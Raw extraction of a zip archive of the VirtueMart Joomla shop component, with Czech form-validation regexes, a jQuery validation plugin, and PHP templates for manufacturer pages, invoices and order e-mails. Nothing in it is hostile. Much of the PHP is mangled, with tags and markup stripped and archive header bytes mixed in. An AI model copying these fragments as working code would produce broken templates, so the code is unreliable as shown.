/^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Neplatná emailová adresa" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Zadejte pouze čísla" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* Neplatné číslo" }, "CZdate": { // datum ve formátu jak se používá v čr "regex": /^(0[1-9]|[12][0-9]|3[01])[. /.](0[1-9]|1[012])[. /.](19|20)\d{2}$/, "alertText": "* Neplatné datum, datum musí být ve formátu den.měsíc.rok (dd.mm.rrrr)" }, "date": { // Date in ISO format. Credit: bassistance "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Neplatné datum, datum musí být ve formátu YYYY-MM-DD" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Neplatná IP adresa" }, //česká syntaxe pro rodné číslo "rc": { "regex": /^\d{2}((0[1-9]|1[012])|(5[1-9]|6[012]))(0[1-9]|[12][0-9]|3[01])\/([0-9]{2,4})$/, "alertText": "* Neplatné rodné číslo, tvar musí být 895431/4567" }, //poštovní směrovací číslo "psc": { "regex": /^\d{3}[ \.\-]\d{2}$/, "alertText": "* Neplatné poštovní směrovací číslo, tvar musí být 456 45" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* Neplatný odkaz" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Pouze čísla" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Pouze písmena" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* Pouze písmena a číslice" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertText": "* Uživatelské jméno je již použito", "alertTextLoad": "* Ověřování, prosím čekejte" }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* Uživatelské jméno je již použito", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* Toto jméno je k dispozici", // speaks by itself "alertTextLoad": "* Ověřování, prosím čekejte" }, "validate2fields": { "alertText": "* Prosím napište HELLO" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery); PKGy>\%-com_virtuemart/assets/js/jquery.validation.jsnuW+A/* $(function(){ // jQuery DOM ready function. var myForm = $("#my_form"); myForm.validation(); // We can check if the form is valid on // demand, using our validate function. $("#test").click(function() { if(!myForm.validate()) { alert("oh noes.. error!"); } }); }); */ // exemple to add new rules // $.Validation.addRule("test",{ // check: function(value) { // if(value != "test") { // return false; // } // return true; // }, // msg : "Must equal to the word test." // }); (function($) { /* Validation Singleton */ var Validation = function() { var rules = { email : { check: function(value) { if(value) return testPattern(value,"[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])"); return true; }, msg : "Enter a valid e-mail address." }, url : { check : function(value) { if(value) return testPattern(value,"^https?://(.+\.)+.{2,4}(/.*)?$"); return true; }, msg : "Enter a valid URL." }, required : { check: function(value) { if(value) return true; else return false; }, msg : "This field is required." } } var testPattern = function(value, pattern) { var regExp = new RegExp(pattern,""); return regExp.test(value); } return { addRule : function(name, rule) { rules[name] = rule; }, getRule : function(name) { return rules[name]; } } } /* Form factory */ var Form = function(form) { var fields = []; form.find("[validation]").each(function() { var field = $(this); if(field.attr('validation') !== undefined) { fields.push(new Field(field)); } }); this.fields = fields; } Form.prototype = { validate : function() { for(field in this.fields) { this.fields[field].validate(); } }, isValid : function() { for(field in this.fields) { if(!this.fields[field].valid) { this.fields[field].field.focus(); return false; } } return true; } } /* Field factory */ var Field = function(field) { this.field = field; this.valid = false; this.attach("change"); } Field.prototype = { attach : function(event) { var obj = this; if(event == "change") { obj.field.bind("change",function() { return obj.validate(); }); } if(event == "keyup") { obj.field.bind("keyup",function(e) { return obj.validate(); }); } }, validate : function() { var obj = this, field = obj.field, errorClass = "errorlist", errorlist = $(document.createElement("ul")).addClass(errorClass), types = field.attr("validation").split(" "), container = field.parent(), errors = []; field.next(".errorlist").remove(); for (var type in types) { var rule = $.Validation.getRule(types[type]); if(!rule.check(field.val())) { container.addClass("error"); errors.push(rule.msg); } } if(errors.length) { obj.field.unbind("keyup") obj.attach("keyup"); field.after(errorlist.empty()); for(error in errors) { errorlist.append("
            • "+ errors[error] +"
            • "); } obj.valid = false; } else { errorlist.remove(); container.removeClass("error"); obj.valid = true; } } } /* Validation extends jQuery prototype */ $.extend($.fn, { validation : function() { var validator = new Form($(this)); $.data($(this)[0], 'validator', validator); $(this).bind("submit", function(e) { validator.validate(); if(!validator.isValid()) { e.preventDefault(); } }); }, validate : function() { var validator = $.data($(this)[0], 'validator'); validator.validate(); return validator.isValid(); } }); $.Validation = new Validation(); })(jQuery);PKGy>\".com_virtuemart/views/manufacturer/metadata.xmlnuW+A PKGy>\El1com_virtuemart/views/manufacturer/tmpl/index.htmlnuW+A PKGy>\k&2com_virtuemart/views/manufacturer/tmpl/default.xmlnuW+A COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_TITLE PKGy>\8  2com_virtuemart/views/manufacturer/tmpl/details.phpnuW+A

              manufacturer->mf_name; ?>

              manufacturerImage)) { ?>
              manufacturerImage; ?>
              manufacturer->mf_email)) { ?>
              manufacturer->mf_email,true,JText::_('COM_VIRTUEMART_EMAIL'),false) ?>
              manufacturer->mf_url)) { ?>
              manufacturer->mf_desc)) { ?>
              manufacturer->mf_desc ?>
              manufacturer->virtuemart_manufacturer_id, FALSE); if(!empty($this->manufacturer->virtuemart_manufacturer_id)) { ?>
              PKGy>\ Z:)2com_virtuemart/views/manufacturer/tmpl/details.xmlnuW+A COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_TITLE
              PKGy>\B -com_virtuemart/views/invoice/tmpl/invoice.phpnuW+A_layout == "invoice") { $document = JFactory::getDocument(); $document->setTitle(JText::_('COM_VIRTUEMART_ORDER_PRINT_PO_NUMBER') . ' ' . $this->orderDetails['details']['BT']->order_number . ' ' . $this->vendor->vendor_store_name); //$document->setName( JText::_('COM_VIRTUEMART_ACC_ORDER_INFO').' '.$this->orderDetails['details']['BT']->order_number); //$document->setDescription( JText::_('COM_VIRTUEMART_ORDER_PRINT_PO_NUMBER').' '.$this->orderDetails['details']['BT']->order_number); } if ($this->headFooter) { ?>
              format=="html")?$this->replaceVendorFields($this->vendor->vendor_letter_header_html, $this->vendor):$this->vendor->vendor_letter_header_html; ?>
              vendor->vendor_store_desc.'
              '; /* foreach($this->vendorAddress as $userfields){ foreach($userfields['fields'] as $item){ if(!empty($item['value'])){ if($item['name']==='agreed'){ $item['value'] = ($item['value']===0) ? JText::_('COM_VIRTUEMART_USER_FORM_BILLTO_TOS_NO'):JText::_('COM_VIRTUEMART_USER_FORM_BILLTO_TOS_YES'); } ?> escape($item['value']) ?>
              print) { ?>
              loadTemplate('order'); ?>
              print) { echo $this->loadTemplate('items'); } else { // NOT in print mode, full HTML view for a browser: $tabarray = array('items'=>'COM_VIRTUEMART_ORDER_ITEM', 'history'=>'COM_VIRTUEMART_ORDER_HISTORY'); shopFunctionsF::buildTabs( $this, $tabarray); } ?>


              headFooter) { echo ($this->format=="html")?$this->replaceVendorFields($this->vendor->vendor_letter_footer_html, $this->vendor):$this->vendor->vendor_letter_footer_html; } if ($this->vendor->vendor_letter_add_tos) {?>
              vendor->vendor_letter_add_tos_newpage) { ?> style="page-break-before: always"> vendor->vendor_terms_of_service; ?>
              print) { ?> PKGy>\Ш҅((3com_virtuemart/views/invoice/tmpl/invoice_items.phpnuW+Adoctype != 'invoice') { $colspan -= 4; } elseif ( ! VmConfig::get('show_tax')) { $colspan -= 1; } ?> doctype == 'invoice') { ?> doctype == 'invoice') { ?> orderDetails['details']['BT']->order_language); foreach($this->orderDetails['items'] as $item) { $qtt = $item->product_quantity ; $product_link = JURI::root().'index.php?option=com_virtuemart&view=productdetails&virtuemart_category_id=' . $item->virtuemart_category_id . '&virtuemart_product_id=' . $item->virtuemart_product_id . '&Itemid=' . $menuItemID; ?> doctype == 'invoice') { ?> doctype == 'invoice') { ?> doctype == 'invoice') { ?> orderDetails['details']['BT']->coupon_discount <> 0.00) { $coupon_code=$this->orderDetails['details']['BT']->coupon_code?' ('.$this->orderDetails['details']['BT']->coupon_code.')':''; ?> orderDetails['calc_rules'] as $rule){ if ($rule->calc_kind== 'DBTaxRulesBill') { ?> calc_kind == 'taxRulesBill') { ?> calc_kind == 'DATaxRulesBill') { ?> PKGy>\)$< < 6com_virtuemart/views/invoice/tmpl/mail_raw_shopper.phpnuW+ABTaddress, take a look for an exampel at shopperadresses.php * * With $this->cartData->paymentName or shipmentName, you get the name of the used paymentmethod/shippmentmethod * * In the array order you have details and items ($this->orderDetails['details']), the items gather the products, but that is done directly from the cart data * * $this->orderDetails['details'] contains the raw address data (use the formatted ones, like BTaddress). Interesting informatin here is, * order_number ($this->orderDetails['details']['BT']->order_number), order_pass, coupon_code, order_status, order_status_name, * user_currency_rate, created_on, customer_note, ip_address * * @package VirtueMart * @subpackage Cart * @author Max Milbers, Valerie Isaksen * * @link http://www.virtuemart.net * @copyright Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php * VirtueMart is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * */ // Check to ensure this file is included in Joomla! defined('_JEXEC') or die('Restricted access'); echo strip_tags(JText::_('COM_VIRTUEMART_MAIL_SHOPPER_YOUR_ORDER')) . "\n" . "\n"; echo strip_tags(JText::sprintf('COM_VIRTUEMART_MAIL_SHOPPER_SUMMARY', $this->vendor->vendor_store_name)) . "\n" . "\n"; echo JText::sprintf('COM_VIRTUEMART_MAIL_SHOPPER_CONTENT', $this->shopperName, $this->vendor->vendor_store_name, $this->orderDetails['details']['BT']->order_total, $this->orderDetails['details']['BT']->order_number, $this->orderDetails['details']['BT']->order_pass, $this->orderDetails['details']['BT']->created_on) . "\n" . "\n"; echo "\n" . strip_tags(JText::sprintf('COM_VIRTUEMART_MAIL_ORDER_STATUS', $this->orderDetails['details']['BT']->order_status_name)); echo "\n\n"; $nb = count($this->orderDetails['history']); if ($this->orderDetails['history'][$nb - 1]->customer_notified && !(empty($this->orderDetails['history'][$nb - 1]->comments))) { echo $this->orderDetails['history'][$nb - 1]->comments; } echo "\n\n"; echo "\n\n"; echo JText::_('COM_VIRTUEMART_MAIL_SHOPPER_YOUR_ORDER_LINK') . ' : ' . JURI::root() . 'index.php?option=com_virtuemart&view=orders&layout=details&order_number=' . $this->orderDetails['details']['BT']->order_number . '&order_pass=' . $this->orderDetails['details']['BT']->order_pass . "\n"; if (!empty($this->orderDetails['details']['BT']->customer_note)) { echo "\n" . strip_tags(JText::sprintf('COM_VIRTUEMART_MAIL_SHOPPER_QUESTION', $this->orderDetails['details']['BT']->customer_note)); } echo "\n\n"; //TODO if silent registration logindata //TODO if Paymentmethod needs Bank account data of vendor //We may wish to integrate later a kind of signature PKGy>\dd?com_virtuemart/views/invoice/tmpl/mail_raw_shopperaddresses.phpnuW+Auserfields['fields'] as $field) { if(!empty($field['value'])){ echo $field['title'].': '.$this->escape($field['value'])."\n"; } } echo "\n"; echo JText::_('COM_VIRTUEMART_USER_FORM_SHIPTO_LBL'). "\n"; echo sprintf("%'-64.64s",''); echo "\n"; foreach ($this->shipmentfields['fields'] as $field) { if(!empty($field['value'])){ echo $field['title'].': '.$this->escape($field['value'])."\n"; } } echo "\n";PKGy>\qO--6com_virtuemart/views/invoice/tmpl/mail_html_header.phpnuW+A vendor->vendor_letter_header>0) { ?> vendor->vendor_letter_header_image>0) { ?> vendor->vendor_letter_header_line == 1) { ?> PKGy>\ďk5com_virtuemart/views/invoice/tmpl/mail_raw_footer.phpnuW+Avendor)) { $vendorModel = VmModel::getModel('vendor'); $this->vendor = $vendorModel->getVendor(); } $link = JURI::root(). 'index.php?option=com_virtuemart' ; echo "\n\n"; $link= JHTML::_('link', $link, $this->vendor->vendor_name) ; // echo JText::_('COM_VIRTUEMART_MAIL_VENDOR_TITLE').$this->vendor->vendor_name.'
              '; /* GENERAL FOOTER FOR ALL MAILS */ echo JText::_('COM_VIRTUEMART_MAIL_FOOTER' ) . $link; echo "\n"; echo $this->vendor->vendor_name ."\n".$this->vendor->vendor_phone .' '.$this->vendor->vendor_store_name ."\n".strip_tags($this->vendor->vendor_store_desc)."\n".strip_tags(str_replace('
              ',"\n",$this->replaceVendorFields($this->vendor->vendor_letter_footer_html, $this->vendor))); PKGy>\&8com_virtuemart/views/invoice/tmpl/mail_raw_pricelist.phpnuW+AsetEscape('htmlspecialchars'); // TODO Temp fix !!!!! *********************************>>> //$skuPrint = echo sprintf( "%64.64s",strtoupper (JText::_('COM_VIRTUEMART_SKU') ) ) ; // Head of table echo strip_tags(JText::sprintf('COM_VIRTUEMART_ORDER_PRINT_TOTAL', $this->currency->priceDisplay($this->orderDetails['details']['BT']->order_total,$this->currency))) . "\n"; echo sprintf("%'-64.64s", '') . "\n"; echo JText::_('COM_VIRTUEMART_ORDER_ITEM') . "\n"; foreach ($this->orderDetails['items'] as $item) { echo "\n"; echo $item->product_quantity . ' X ' . $item->order_item_name . ' (' . strtoupper(JText::_('COM_VIRTUEMART_SKU')) . $item->order_item_sku . ')' . "\n"; if (!empty($item->product_attribute)) { if (!class_exists('VirtueMartModelCustomfields')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'customfields.php'); $product_attribute = VirtueMartModelCustomfields::CustomsFieldOrderDisplay($item, 'FE'); echo "\n" . $product_attribute . "\n"; } if (!empty($item->product_basePriceWithTax) && $item->product_basePriceWithTax != $item->product_final_price) { echo $item->product_basePriceWithTax . "\n"; } echo JText::_('COM_VIRTUEMART_ORDER_PRINT_TOTAL') . $item->product_final_price; if (VmConfig::get('show_tax')) { echo ' (' . JText::_('COM_VIRTUEMART_ORDER_PRINT_PRODUCT_TAX') . ':' . $this->currency->priceDisplay($item->product_tax,$this->currency) . ')' . "\n"; } echo "\n"; } echo sprintf("%'-64.64s", ''); echo "\n"; // Coupon if (!empty($this->orderDetails['details']['BT']->coupon_code)) { echo JText::_('COM_VIRTUEMART_COUPON_DISCOUNT') . ':' . $this->orderDetails['details']['BT']->coupon_code . ' ' . JText::_('COM_VIRTUEMART_PRICE') . ':' . $this->currency->priceDisplay($this->orderDetails['details']['BT']->coupon_discount,$this->currency); echo "\n"; } foreach ($this->orderDetails['calc_rules'] as $rule) { if ($rule->calc_kind == 'DBTaxRulesBill') { echo $rule->calc_rule_name . $this->currency->priceDisplay($rule->calc_amount, $this->currency) . "\n"; } elseif ($rule->calc_kind == 'taxRulesBill') { echo $rule->calc_rule_name . ' ' . $this->currency->priceDisplay($rule->calc_amount,$this->currency) . "\n"; } elseif ($rule->calc_kind == 'DATaxRulesBill') { echo $rule->calc_rule_name . ' ' . $this->currency->priceDisplay($rule->calc_amount,$this->currency) . "\n"; } } echo strtoupper(JText::_('COM_VIRTUEMART_ORDER_PRINT_SHIPPING')) . ' (' . strip_tags(str_replace("
              ", "\n", $this->orderDetails['shipmentName'])) . ' ) ' . "\n"; echo JText::_('COM_VIRTUEMART_ORDER_PRINT_TOTAL') . ' : ' . $this->currency->priceDisplay($this->orderDetails['details']['BT']->order_shipment,$this->currency); if (VmConfig::get('show_tax')) { echo ' (' . JText::_('COM_VIRTUEMART_ORDER_PRINT_TAX') . ' : ' . $this->currency->priceDisplay($this->orderDetails['details']['BT']->order_shipment_tax,$this->currency) . ')'; } echo "\n"; echo strtoupper(JText::_('COM_VIRTUEMART_ORDER_PRINT_PAYMENT')) . ' (' . strip_tags(str_replace("
              ", "\n", $this->orderDetails['paymentName'])) . ' ) ' . "\n"; echo JText::_('COM_VIRTUEMART_ORDER_PRINT_TOTAL') . ':' . $this->currency->priceDisplay($this->orderDetails['details']['BT']->order_payment,$this->currency); if (VmConfig::get('show_tax')) { echo ' (' . JText::_('COM_VIRTUEMART_ORDER_PRINT_TAX') . ' : ' . $this->currency->priceDisplay($this->orderDetails['details']['BT']->order_payment_tax,$this->currency) . ')'; } echo "\n"; echo sprintf("%'-64.64s", '') . "\n"; // total order echo JText::_('COM_VIRTUEMART_MAIL_SUBTOTAL_DISCOUNT_AMOUNT') . ' : ' . $this->currency->priceDisplay($this->orderDetails['details']['BT']->order_billDiscountAmount,$this->currency) . "\n"; echo strtoupper(JText::_('COM_VIRTUEMART_ORDER_PRINT_TOTAL')) . ' : ' . $this->currency->priceDisplay($this->orderDetails['details']['BT']->order_total,$this->currency) . "\n"; if (VmConfig::get('show_tax')) { echo ' (' . JText::_('COM_VIRTUEMART_ORDER_PRINT_TAX') . ' : ' . $this->currency->priceDisplay($this->orderDetails['details']['BT']->order_billTaxAmount,$this->currency) . ')' . "\n"; } echo "\n"; PKGy>\DRl5com_virtuemart/views/invoice/tmpl/mail_raw_vendor.phpnuW+AproductName,$this->url); if(!empty($this->orderDetails['details']['BT']->customer_note)) { echo "\n" . JText::sprintf('COM_VIRTUEMART_CART_MAIL_VENDOR_SHOPPER_QUESTION', $this->orderDetails['details']['BT']->customer_note); } echo "\n"; PKGy>\BTT9com_virtuemart/views/invoice/tmpl/mail_html_pricelist.phpnuW+AgetLayout(); $this->setLayout('invoice'); echo $this->loadTemplate('items'); $this->setLayout($oldlayout); PKGy>\%;com_virtuemart/views/invoice/tmpl/mail_html_vendor_more.phpnuW+A PKGy>\,com_virtuemart/views/invoice/tmpl/index.htmlnuW+APKGy>\͔6com_virtuemart/views/invoice/tmpl/mail_html_vendor.phpnuW+A PKGy>\p5335com_virtuemart/views/invoice/tmpl/invoice_history.phpnuW+A orderDetails['history'] as $_hist) { if (!$_hist->customer_notified) { continue; } ?>
              created_on, 'LC4', true); ?> orderstatuses[$_hist->order_status_code]; ?> comments; ?>
              PKGy>\a.com_virtuemart/views/invoice/tmpl/mail_raw.phpnuW+ABTaddress, take a look for an exampel at shopper_adresses.php * * With $this->cartData->paymentName or shipmentName, you get the name of the used paymentmethod/shippmentmethod * * In the array order you have details and items ($this->orderDetails['details']), the items gather the products, but that is done directly from the cart data * * $this->orderDetails['details'] contains the raw address data (use the formatted ones, like BTaddress). Interesting informatin here is, * order_number ($this->orderDetails['details']['BT']->order_number), order_pass, coupon_code, order_status, order_status_name, * user_currency_rate, created_on, customer_note, ip_address * * @package VirtueMart * @subpackage Cart * @author Max Milbers, Valerie Isaksen * * @link http://www.virtuemart.net * @copyright Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php * VirtueMart is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * */ // Check to ensure this file is included in Joomla! defined('_JEXEC') or die('Restricted access'); ?> loadTemplate('header'); // Message for shopper or vendor echo $this->loadTemplate('shopper'); // render shipto billto adresses echo $this->loadTemplate('shopperaddresses'); // render price list echo $this->loadTemplate('pricelist'); //dump($salesPriceShipment , 'rawmail'); // more infos //echo $this->loadTemplate($this->recipient.'_more'); // end of mail echo $this->loadTemplate('footer'); ?> PKGy>\' '<com_virtuemart/views/invoice/tmpl/mail_html_shopper_more.phpnuW+A PKGy>\He6com_virtuemart/views/invoice/tmpl/mail_html_footer.phpnuW+Avendor)) { $vendorModel = VmModel::getModel('vendor'); $this->vendor = $vendorModel->getVendor(); } //$link = shopFunctionsF::getRootRoutedUrl('index.php?option=com_virtuemart'); $link = JURI::root().'index.php?option=com_virtuemart'; echo '

              '; //$link=''.JHTML::_('link', JURI::root().$link, $this->vendor->vendor_name).' '; // echo JText::_('COM_VIRTUEMART_MAIL_VENDOR_TITLE').$this->vendor->vendor_name.'
              '; /* GENERAL FOOTER FOR ALL MAILS */ echo JText::_('COM_VIRTUEMART_MAIL_FOOTER' ) . ''.$this->vendor->vendor_name.''; echo '
              '; echo $this->vendor->vendor_name .'
              '.$this->vendor->vendor_phone .' '.$this->vendor->vendor_store_name .'
              '.$this->vendor->vendor_store_desc.'
              '; ?> vendor->vendor_letter_footer == 1) { ?> vendor->vendor_letter_footer_line == 1) { ?>
              PKGy>\)+com_virtuemart/views/invoice/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\`@com_virtuemart/views/invoice/tmpl/mail_html_shopperaddresses.phpnuW+A PKGy>\K9̨pp3com_virtuemart/views/invoice/tmpl/invoice_order.phpnuW+A doctype == 'invoice') { if ($this->invoiceNumber) { ?>

              invoiceNumber; ?>

              doctype == 'deliverynote') { ?>

              doctype == 'confirmation') { ?>

              invoiceNumber) { ?> orderDetails['details']['BT']->delivery_date)) { ?> orderDetails['details']['BT']->customer_note) { ?> doctype == 'invoice') { ?>
              invoiceDate, 'LC4', true); ?>
              orderDetails['details']['BT']->delivery_date ?>
              orderDetails['details']['BT']->order_number; ?>
              orderDetails['details']['BT']->created_on, 'LC4', true); ?>
              orderstatuses[$this->orderDetails['details']['BT']->order_status]; ?>
              orderDetails['shipmentName']; ?>
              orderDetails['paymentName']; ?>
              orderDetails['details']['BT']->customer_note; ?>
              currency->priceDisplay($this->orderDetails['details']['BT']->order_total,$this->currency); ?>

              userfields['fields'] as $field) { if (!empty($field['value'])) { echo '' . ''; } } ?>
              ' . $field['title'] . '' . $field['value'] . '

              shipmentfields['fields'] as $field) { if (!empty($field['value'])) { echo '' . ''; } } ?>
              ' . $field['title'] . '' . $field['value'] . '
              PKGy>\O/com_virtuemart/views/invoice/tmpl/mail_html.phpnuW+ABTaddress, take a look for an exampel at shopper_adresses.php * * With $this->orderDetails['shipmentName'] or paymentName, you get the name of the used paymentmethod/shippmentmethod * * In the array order you have details and items ($this->orderDetails['details']), the items gather the products, but that is done directly from the cart data * * $this->orderDetails['details'] contains the raw address data (use the formatted ones, like BTaddress). Interesting informatin here is, * order_number ($this->orderDetails['details']['BT']->order_number), order_pass, coupon_code, order_status, order_status_name, * user_currency_rate, created_on, customer_note, ip_address * * @package VirtueMart * @subpackage Cart * @author Max Milbers, Valerie Isaksen * * @link http://www.virtuemart.net * @copyright Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php * VirtueMart is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * */ // Check to ensure this file is included in Joomla! defined('_JEXEC') or die('Restricted access'); ?>
              recipient == 'shopper') { echo $this->loadTemplate('header'); } // Message for shopper or vendor echo $this->loadTemplate($this->recipient); // render shipto billto adresses echo $this->loadTemplate('shopperaddresses'); // render price list echo $this->loadTemplate('pricelist'); // more infos echo $this->loadTemplate($this->recipient . '_more'); // end of mail echo $this->loadTemplate('footer'); ?>
              PKGy>\ C:L L 7com_virtuemart/views/invoice/tmpl/mail_html_shopper.phpnuW+ABTaddress['fields'], take a look for an exampel at shopper_adresses.php * * With $this->cartData->paymentName or shipmentName, you get the name of the used paymentmethod/shippmentmethod * * In the array order you have details and items ($this->orderDetails['details']), the items gather the products, but that is done directly from the cart data * * $this->orderDetails['details'] contains the raw address data (use the formatted ones, like BTaddress['fields']). Interesting informatin here is, * order_number ($this->orderDetails['details']['BT']->order_number), order_pass, coupon_code, order_status, order_status_name, * user_currency_rate, created_on, customer_note, ip_address * * @package VirtueMart * @subpackage Cart * @author Max Milbers, Valerie Isaksen * * @link http://www.virtuemart.net * @copyright Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php * VirtueMart is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * */ // Check to ensure this file is included in Joomla! defined('_JEXEC') or die('Restricted access'); ?> orderDetails['history']); if($this->orderDetails['history'][$nb-1]->customer_notified && !(empty($this->orderDetails['history'][$nb-1]->comments))) { ?> orderDetails['details']['BT']->customer_note)){ ?> PKGy>\'com_virtuemart/views/invoice/index.htmlnuW+APKGy>\:\622*com_virtuemart/views/invoice/view.html.phpnuW+AsetMetaData('robots','NOINDEX, NOFOLLOW, NOARCHIVE, NOSNIPPET'); if(empty($this->uselayout)){ $layout = JRequest::getWord('layout','mail'); } else { $layout = $this->uselayout; } switch ($layout) { case 'invoice': $this->doctype = $layout; $title = JText::_('COM_VIRTUEMART_INVOICE'); break; case 'deliverynote': $this->doctype = $layout; $layout = 'invoice'; $title = JText::_('COM_VIRTUEMART_DELIVERYNOTE'); break; case 'confirmation': $this->doctype = $layout; $layout = 'confirmation'; $title = JText::_('COM_VIRTUEMART_CONFIRMATION'); break; case 'mail': if (VmConfig::get('order_mail_html')) { $layout = 'mail_html'; } else { $layout = 'mail_raw'; } } $this->setLayout($layout); $tmpl = JRequest::getWord('tmpl'); $print = false; if($tmpl){ $print = true; } $this->assignRef('print', $print); $this->format = JRequest::getWord('format','html'); if($layout == 'invoice'){ $document->setTitle( JText::_('COM_VIRTUEMART_INVOICE') ); } $order_print=false; if ($print and $this->format=='html') { $order_print=true; } $orderModel = VmModel::getModel('orders'); $orderDetails = $this->orderDetails; if($orderDetails==0){ $orderDetails = $orderModel ->getMyOrderDetails(); if(!$orderDetails or empty($orderDetails['details'])){ echo JText::_('COM_VIRTUEMART_CART_ORDER_NOTFOUND'); return; } } if(empty($orderDetails['details'])){ echo 